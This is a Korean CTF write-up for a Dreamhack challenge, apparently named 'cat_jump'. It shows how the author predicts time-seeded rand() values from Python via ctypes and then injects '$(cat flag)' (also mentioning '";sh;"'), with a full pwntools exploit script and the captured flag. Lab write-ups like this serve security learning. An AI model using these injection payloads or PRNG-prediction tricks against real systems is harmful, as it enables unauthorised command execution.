일단 도커부터 설치해줬다
기타
python3
, vim
, pwngdb
, pwntools
등을 도커 내에 설치해주었다
IDA
에서 실행파일 분석했다
주석으로 분석을 정리해봤다
이런 고양이가 출력되고 랜덤한 값에 따라서 일치하는 입력을 37
번 맞춰야 한다
Brute Force
로는 가능한데 2**37
(137,438,953,472번
)중 1
번 익스가 된다
obstacle
에0
or1
이 랜덤하게 배치되고,
0
이면h
,
1
이면l
을 입력해야 한다
(이걸 37번 맞추면 된다)
random
값을 만들때 시간을 기반으로 한다
-> 만약 동시에 랜덤값을 생성한다면..?
obstacle
값을 알게 되고, 정답인 입력을 알게 된다
그렇다고 바로 플래그가 출력되는 것은 아니다
37
번 성공하고 난 뒤 실행되는 코드이다 (IDA)
command injection
을 활용해야되는 부분이다
$(cat flag)
";sh;"
등등등이 있다
python
에서 C언어 srand()
를 사용해야 된다
from ctypes import *
libc = CDLL("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(libc.time(0x00))
print(libc.rand())
랜덤을 출력하는 python
코드 with. C
for i in range(37):
random = libc.rand() % 2
p.recvuntil(b"left jump='h', right jump='j': ")
if random == 0:
p.sendline(b"l")
else:
p.sendline(b"h")
libc.rand()
print(f"{i+1}time : Success")
37
번 반복하면 된다
payload = b""
payload += b"$(cat flag)"
p.sendlineafter(b": ", payload)
command injection
전체 익스 코드
from pwn import *
from ctypes import *
import time
p = process("./cat_jump")
libc = CDLL("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(libc.time(0x00))
p.recvuntil(b"let the cat reach the roof! ")
time.sleep(1)
for i in range(37):
random = libc.rand() % 2
p.recvuntil(b"left jump='h', right jump='j': ")
if random == 0:
p.sendline(b"l")
else:
p.sendline(b"h")
libc.rand()
print(f"{i+1}time : Success")
payload = b""
payload += b"$(cat flag)"
p.sendlineafter(b": ", payload)
p.interactive()
얍
DH{da65478323e88390957aee8177eb3cf6e60a2a6b486a76d46fc4d94ec785bb48}
타임스탬프 방식으로 랜덤값을 가져오는 방법이 신기했다
Dreamhack CTF
에 randerer
문제와 비슷한 것 같다 (아직 안 풀긴 했다)
다 맞춘다고 플래그를 얻지 못하고, 필터링을 우회해야 되서 좀 어려웠다
필터링 우회 방법이 다 달라서 write up 보는게 재밋다
처음으로 도커로 환경 구축하고 익스 돌렸다
재밋고 고양이가 귀여운 문제였다